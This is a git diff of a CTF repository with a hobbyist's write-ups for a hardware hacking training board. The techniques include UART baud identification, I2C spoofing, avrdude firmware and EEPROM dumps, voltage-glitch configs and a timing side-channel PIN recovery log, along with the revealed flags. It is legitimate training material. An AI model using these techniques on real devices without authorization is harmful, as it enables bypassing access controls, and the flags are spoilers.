+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
